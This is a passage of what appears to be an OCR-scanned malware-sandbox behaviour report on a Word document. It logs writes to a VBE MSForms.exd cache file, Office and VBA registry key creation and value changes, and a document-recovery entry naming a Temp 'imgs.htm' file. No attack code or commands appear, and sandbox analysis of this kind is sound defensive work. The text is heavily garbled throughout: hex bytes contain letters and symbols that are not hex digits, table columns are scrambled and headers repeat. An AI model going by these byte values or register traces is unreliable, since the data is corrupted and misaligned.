00 38 42 00 00 a8 3b

00 00 38 3d 00 00 cO

3f 00 00 a0 42 00 00

24 4500 00 30 41 00

00 20 30 00 00 a0 3e

00 00 98 45 00 00 e8

4100 00 48 43 00 00

10 26 00 00 4c 2d 00

00 38 2b 00 00 70 2f

00 00 40 3f 00 00 40

3e 00 00 8 31 00 00

74 1f 00 00 28 3e 00

00 cc 38 00 00 94 27

00 00 f8 42 00 00 58

3e 00 00 b0 43 00 00

88 3¢ 00

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

1

7FEE912FDDC unknown

7FEE912FDDC unknown

7FEE912FDDC unknown
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File Path

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd

Copyright null 2021

Offset Length Value Ascii

unknown 18296  ff ff ff ff ff ff ff ff 07 00 .......... C.MSFormsW.........

unknown 1620

430f4d 53 46 672 8

6d 73 57 00 00 00 00 ..OLE_COLORWWWA.......
ff ff ff ff 09 38 e4 f5 4f .8(0OLE_

4c 45 5 43 4f 4c 4f  HANDLEWW.........8.WOL
52 57 57 57 64 00 00 E_OPTEXC

00 ff ff ff ff 0a 38 28  LUSIVE, .8..IFontWw
6f 4f 4c 4554841 W.........

4e 44 Ac 45 57 57 ¢8 (U.Font.........8.*fmDrop
0000 00 ffff ff ff 10  EffectX........8.bfmAction....

38 c2 57 4f 4c 45 5f
4f 50 54 45 58 43 4c
55 53 49 56 45 2¢ 01
00 00 ff ff f ff 05 38
9f ce 49 46 6f 6e 74
57 57 57 90 01 00 00
ff ff f ff 04 28 55 10
46 6f 6e 74 f4 01 00
00 ff ff ff ff Oc 38 a9
2a 66 6d 44 72 6f 70
45 66 66 65 63 74 58
02 00 00 ff ff ff ff 08
38 8c 62 66 6d 41 63
74 69 6f 6e bc 02 00
00 ff ff ff ff 10 38 8f
6b 49 44 61 74 61 41
75 74 6f 57 72 61 70
70 65 72 20 03 00 00
ff ff ff ff Oe 38 dc 56
4952 657475 72 6e
49 6e 74 65 67 65 72
57 57 84 03 00 00 ff
ff ff ff Oe 38 €0 39 49
52 65 74 75 72 6e 42
6f 6f 6¢

22 00 4d 69 63 72 6f
73 6f 66 74 20 46 6f
72 6d 73 20 32 2e 30
20 4f 62 6a 65 63 74
204c 6962726172
79 1c 00 43 3a 5¢ 57
69 6e 64 6f 77 73 5¢
73797374 65 6d 33
32 5c 66 6d 32 30 2e
68 6¢ 70 57 57 04 00
4e 6f 6e 65 57 57 04
00 43 6f 70 79 57 57
04 00 4d 6f 76 65 57
57 0a 00 43 6f 70 79
4f 72 4d 6f 76 65 03
00 43 75 74 57 57 57
0500 50 61 73 74 65
57 08 00 44 72 61 67
44 72 6f 70 57 57 07
00 49 6e 68 65 72 69
74 57 57 57 02 00 4f
6e 57 57 57 57 03 00
4f 66 66 57 57 57 07
00 44 65 66 61 75 6¢C
74 57 57 57 05 00 41
72 72 6f 77 57 05 00
43 72 6f 73 73 57 05
00 49 42 65 61 6d 57
08 00 53 69 7a 65 4e
45 53 57 57 57 06 00
53 69 7a 65 4e 53 08
00 53 69 7a 65 4e 57
53 45 57 57 06 00 53
69 7a 65 57 45 07 00
5570417272 6f77
57 57 57 09 00 48 6f
757247

..... 8.kIDataAutoWrapper
...8.VIReturnintegerWWw.....
....8.9IReturnBool

".Microsoft Forms 2.0
Object L
ibrary..C:\Windows\system
32\fm
20.hlpWW..NoneWW..Cop
yWW..Move
WW..CopyOrMove..CutW
WW..PasteW
..DragDropWW..InheritWW
W..OnWW

WW..Off WWW..DefaultWw
WW..ArrowW
..CrossW..IBeamW..SizeN
ESWWW..
SizeNS..SizeNWSEWW..S
izeWE..Up
ArrownWWW..HourG

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEE912FDDC unknown

7FEE912FDDC unknown
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File Path Offset Length Value Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 3600 1a 00 08 40 08 00 08 ...
80 1a 00 06 40 06 00
06 80 1a 00 Ob 40 Ob O...
00 0b 80 1a 00 02 40 .
02 00 02 80 1d 00 ff
7f 64 00 00 00 1a 00
ff 7f 20 00 00 00 1d
00 ff 7f2c 010000 .
1a00ff7f300000 ............ m..
00 1a 00 ff 7f 38 00
00 00 1d 00 ff 7f 19
00 00 00 1a 00 ff 7f
48 00 00 00 1a 00 00
40 18 00 00 80 1a 00
fe 7f 58 00 00 00 la
00 13 40 17 00 13 80
1d 00 ff 7f 25 00 00
00 1a 00 ff 7f 70 00
00 00 1a 00 10 40 10
00 10 80 1a 00 fe 7f
80 00 00 00 1a 00 03
40 03 00 03 80 1d 00
ff 7f 31 00 00 00 1a
00 ff 7f 98 00 00 00
1d 00 ff 7f 3d 00 00
00 1a 00 ff 7f a8 00
00 00 1a 00 Oc 40 Oc
00 Oc 80 1d 00 ff 7f
49 00 00 00 1a 00 ff
7f c0 00 00 00 1d 00
03 00 f4 01 00 00 1d
00 ff 7f 55 00 00 00
1a 00 ff 7f d8 00 00
00 1d 00 ff 7f 61 00
00 00 1a 00 ff 7f e8
00 00 00 1d 00 ff 7f
6d 00 00

success or wait 1 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 03 00 fe ff ff ff 57 57 ... WW.....WW success or wait 1 7FEE912FDDC unknown
03 00 ff ff ff ff 57 57

IS

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2403 00 00 $... success or wait 107 7FEE912FDDC unknown

N

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 24 00 $. success or wait 1956 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 22 00001900198000 ............ L..D...... success or wait 1757 7FEE912FDDC unknown
00 00 00 Oc 00 4c 00
11 44 01 00 01 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 12 00 00 00 00 b0 Oe QO ............ success or wait 1215 7FEE912FDDC unknown
00 0a 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 88 00 00 00 00 00 00 00 ...ceveeveenveieeiiciieanans success or wait 107 7FEE912FDDC unknown
00 02 00 00 00 02 00 .
00 00 03 00 00 00 03 .
00 00 00 04 00 00 00
04 00 00 00 05 00 00
00 05 00 00 00 06 00
00 00 06 00 00 00 07
00 00 00 07 00 00 00
08 00 00 00 08 00 00
00 10 00 01 60 11 00
01 60 12 00 01 60 13
00 01 60 14 00 01 60
1500 01 60

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 88 a0 Oe 00 00 a0 Oe 00 success or wait 107 7FEE912FDDC unknown
00 c4 0e 00 00 c4 Oe ..4.

00 00 e8 0e 00 00 €8 .
0Oe 00 00 Oc Of 00 00
Oc Of 00 00 34 0f 00
00 34 0f 00 00 64 Of
00 00 64 0f 00 00 9¢
0f 00 00 9c Of 00 00

c4 0f 00 00 c4 0f 00

00 ec 0f 00 00 14 10
00 00 3c 10 00 00 68
10 00 00 ac 10 00 00
c4 10 00 00
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File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 88 00 000000240000 ...$..H..lL...ooooueennne success or wait 107 7FEE912FDDC unknown
00 48 00 00 00 6¢ 00 ...D...h
000090000000b4 ...@...d..
00 00 00 d8 00 00 00
fc 00 00 00 20 01 00
00 44 01 00 00 68 01
00 00 8¢ 01 00 00 b0
01 00 00 d4 01 00 00
f8 01 00 00 1c 02 00
00 40 02 00 00 64 02
00 00 88 02 00 00 ac
02 00 00 dc 02 00 00

00 03 00 00
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 4d 53 46 54 MSFT success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 02 00 01 00 success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 09 04 00 00 success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 51 00 Q. success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 00 00 . success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 02 00 . success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 00 00 . success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 06 00 00 00 success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 91 00 00 00 success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 b3 02 00 00 success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 0d 23 00 00 .. success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 2400 00 00 $... success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 ff ff ff ff success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 20 00 00 00 success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 80 00 00 00 success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 0d 00 00 00 success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 bc 00 00 00 success or wait 1 7FEE912FDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 580 00 00 00 00 64 0000 ....d....... e ) ST success or wait 1 7FEE912FDDC unknown

00 ¢8 00 00 00 2c 01

00 00 90 01 00 00 f4

01 00 00 58 02 00 00 .

bc 02 00 00 20 03 00 .

0084 030000e803 <..
00 00 4c 04 00 00 bO .
04 00 00 14 0500 00 .
78 05 00 00 dc 05 00
00 40 06 00 00 a4 06
00 00 08 07 00 00 6¢
07 00 00 dO 07 00 00
34 08 00 00 98 08 00
00 fc 08 00 00 60 09
00 00 c4 09 00 00 28
0a 00 00 8c 0Oa 00 00
f0 0a 00 00 54 Ob 00
00 b8 0b 00 00 1c Oc
00 00 80 0c 00 00 e4
Oc 00 00 48 0d 00 00
ac 0d 00 00 10 Oe 00
00 74 Oe 00 00 d8 Oe
00 00 3c 0f 00 00 a0
0f 00 00 04 10 00 00
68 10 00 00 cc 10 00
003011000094 11
00 00 f8 11 00 00 5¢
12 00 00 c0 12 00 00
2413 0000 88 13 00
00 ec 13 00 00 50 14
00 00 b4 14 00 00 18
1500 00 7c 15 00 00
€0 1500 00 44 16 00
00 a8 16 00 00 Oc 17
0000 70 17 00 00 d4
17 00 00 38 18 00 00
9c 18 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 8803 0000 a4 3800 ..... 8 success or wait 1 7FEE912FDDC unknown
00 ff ff ff ff Of 00 00
00
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C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 8c 4e 00 00 d0 08 00 .N.............. success or wait 1 7FEE912FDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 5c¢ 57 00 00 1c 00 00 \W...
00 ff ff ff ff Of 00 00
00

success or wait 1 7FEE912FDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 bc 4a 00 00 d0 03 00 .J.............. success or wait 1 7FEE912FDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 2c3c 0000800000 ,<....ccceeecee success or wait 1 7FEE912FDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ac 3c 000010 0e 00 .<.............. success or wait 1 7FEE912FDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 7857 00 00 00 02 00 XW.............. success or wait 1 7FEE912FDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 7859 00 00 78 47 00 XY..XG.......... success or wait 1 7FEE912FDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 f0a0 00005406 00 ....T........... success or wait 1 7FEE912FDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 44 a7 00 00 10 0e 00 D............... success or wait 1 7FEE912FDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEE912FDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 54 b50000100000 T..oooveneenes success or wait 1 7FEE912FDDC unknown
00 ff ff ff ff Of 00 00
00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEE912FDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEE912FDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff f ff ff 00 00 00 00 ff ................ success or wait 1 7FEE912FDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 14500 26 210000 64 b500 &!.d.....cccccveieiunenne success or wait 1 7FEE912FDDC unknown
00 00 00 00 00 00 00 .
00 00 03 00 00 00 00 .
00 00 00 00 00 00 00 .
00 00 00 00 00 00 00 .
00 00 00 00 00 00 00 .
00 00 18 00 00 00 00 .
00 00 00 14 00 00 00 .
00 00 00 00 ff ff ff ff
00 00 00 00 00 00 00
00 ff ff ff ff 00 00 00
00 04 00 00 00 03 00
03 80 00 00 00 00 00
00 00 00 ff ff ff ff 26
21 01 00 64 b5 00 00
00 00 00 00 00 00 00
00 03 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 30 00 00 00 00 00
00 00 2c 00 00 00 00
00 00 00 ff ff ff ff 00
00 00 00 00 00 00 00
ff ff ff ff 00 00 00 00
04 00 00 00 03 00 03
80 00 00 00 00 00 00
00 00 ff ff ff ff a6 10
02 00 64 b5 00 00 00
00 00 00 00 00 00 00
03 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
48 00 00 00 00 00 00
00 44 00 00

Source
File Path Offset Length Completion Count Address Symbol
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Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\VBA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F5561

Key Value Created

Key Path Name Type
HKEY_CURRENT_USER\Software\Microsoft\Shared Cambria Math binary
Tools\Panose

HKEY_CURRENT_USER\Software\Mic F5561 binary

rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F5561

Copyright null 2021

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Data Completion

02 04 05 03 05 04 06 03 02 04

04 00 00 00 8C 08 00 00 2A 00
00 00 43 00 3A 00 5C 00 55 00
73 00 6500 72 00 73 00 5C 00
4100 6C 00 62 00 75 00 73 00
5C 00 41 00 70 00 70 00 44 00
61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00
54 00 65 00 6D 00 70 00 5C 00
69 00 6D 00 67 00 73 00 2E 00
68 00 74 00 6D 00 04 00 00 00
69 00 6D 00 67 00 73 00 00 00
00 00 01 00 00 00 00 00 00 00
8A 90 F9 B3 2C E6 D6 01 61 55
OF 00 61 55 OF 00 00 00 00 00
DB 04 00 00 02 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 FF FF FF
FF 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
nn NN NN NN N0 NN NN NN NN NN NN

success or wait

success or wait

Count Address

P R R R R R R

Source
Symbol

7FEE90BE72B RegCreateKeyExA
7FEE90BE72B RegCreateKeyExA
7FEE90BE72B RegCreateKeyExA
7FEE90A9ACO unknown
7FEE90A9ACO unknown
7FEE90A9ACO unknown
7FEE90A9ACO unknown

Source
Count Address Symbol
1 7FEE90A9ACO unknown
1 7FEE90A9ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

Copyright null 2021

Name

Type

PropertiesWindow unicode

MainWindow

MdiMaximized

unicode

unicode

00 00 00 00 00 00 00 00 00 00 00
B&%b 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 FF FF FF FF

8281806401

00001

Completion

success or wait

success or wait

success or wait

Count Address

1

1

1

Source
Symbol

7FEE91740BA RegSetValueExA

7FEE91740BA RegSetValueExA

7FEE91740BA RegSetValueExA
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

Key Value Modified

Key Path Name

HKEY_LOCAL_MACHINE\SOFT ProductFiles
WARE\Mi

crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT ProductFiles
WARE\Mi

crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_CURRENT_USER\Softwa F5561
re\Mic

rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F5561

Copyright null 2021

Name Type
Dock binary

FolderView unicode

Tool binary

CtlsShowSelected unicode

DsnShowSelected unicode

Type Old Data

dword 1378353198

dword 1378353199

Data

02 00 4C 01 05 00 08 00 04 00
1E 00 FC 03 FC 02 FF 02 01 01
04 00 1E 00 B8 00 FC 02 FF 02
00 01 04 00 1E 00 B8 00 2F 01
05 00 00 01 04 00 35 01 B8 00
FC 02 01 00 00 01 BE 00 1E 00
FC 03 FC 02 FF 02 00 01 BE 00
1E 00 FC 03 FC 02 FF 02 01 01
BE 00 1E 00 FC 03 FC 02 00 00
00 01 BB 03 5E 00 FC 03 FC 02
06 00 00 00 D3 00 AF 01 09 03
32 02 FF 03 01 00 D3 00 AF 01
09 03 32 02 04 00 00 00 93 01
AF 01 09 03 32 02 03 00 00 00
D3 00 AF 01 09 03 32 02 02 00
00002100 72016C 021202
FF 03 01 00 21 00 72 01 E8 00
12 02 04 00 00 00 EE 00 72 01
A9 01 12 02 03 00 00 00 AF 01
7201 6C 02 12 02 02 00 00 00
F8 02 81 00 AC 03 01 01 05 00
00 00 59 00 30 02 0D 01 4B 03
01 00 00 00 3A 03 BC 00 79 03
1F 02 06 00 00 00 16 00 16 00
D9 01 C4 00 04 00 01 00 2C 00
2C 00 EB 01 E3 00 03 00 01 00
4200 42 00 3B 02 F7 00 02 00

01 00 00 00 00 00 00 00 00 00 08

00 00 00 58 00 57 00 37 01 FF

01 01 00 01 00 00 00 00 00 00 00

00 00 06 00 01 00 6E 00 6E 00

7F 01 52 01 05 00 01 00 00 00 00

00 00 00 00 00 00 00 01 00
1

00 00 00 00 07 00 00 00 47 65
6E 65 72 61 6C 00 FF FF FF FF
FF FF FF FF

0

New Data

1378353199

1378353200

Completion

success or wait 1

success or wait 1

success or wait 1

success or wait 1

success or wait 1

Completion

success or wait

success or wait

Count Address

binary

04 00 00 00 8C 08 00 00 2A
00 00 00 43 00 3A 00 5C 00
55 00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
70 00 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D

04 00 00 00 8C 08 00 00 2A
00 00 00 43 00 3A 00 5C 00
55 00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D

00 67 00 73 00 2E 00 68 00 74 00 67 00 73 00 2E 00 68 00 74

00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00
8A 90 F9 B3 2C E6 D6 01 61
55 OF 00 61 55 OF 00 00 00
00 00 DB 04 00 00 02 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 61 55 OF
00 61 55 OF 00 00 00 00 00
DB 04 00 00 02 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 FF
FF FF FF 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

success or wait

Source
Symbol

7FEE9147506 RegSetValueExA

7FEE91740BA RegSetValueExA

7FEE917426C RegSetValueExA

7FEE91740BA RegSetValueExA

7FEE91740BA RegSetValueExA

Source
Count Address Symbol
1 7FEE90A9ACO unknown
1 7FEE90A9ACO unknown
1 7FEE90A9ACO unknown
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Key Path

Copyright null 2021

Name

Type

00 00 00 00 00 00 00 00 00 00
2AcPB QR 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
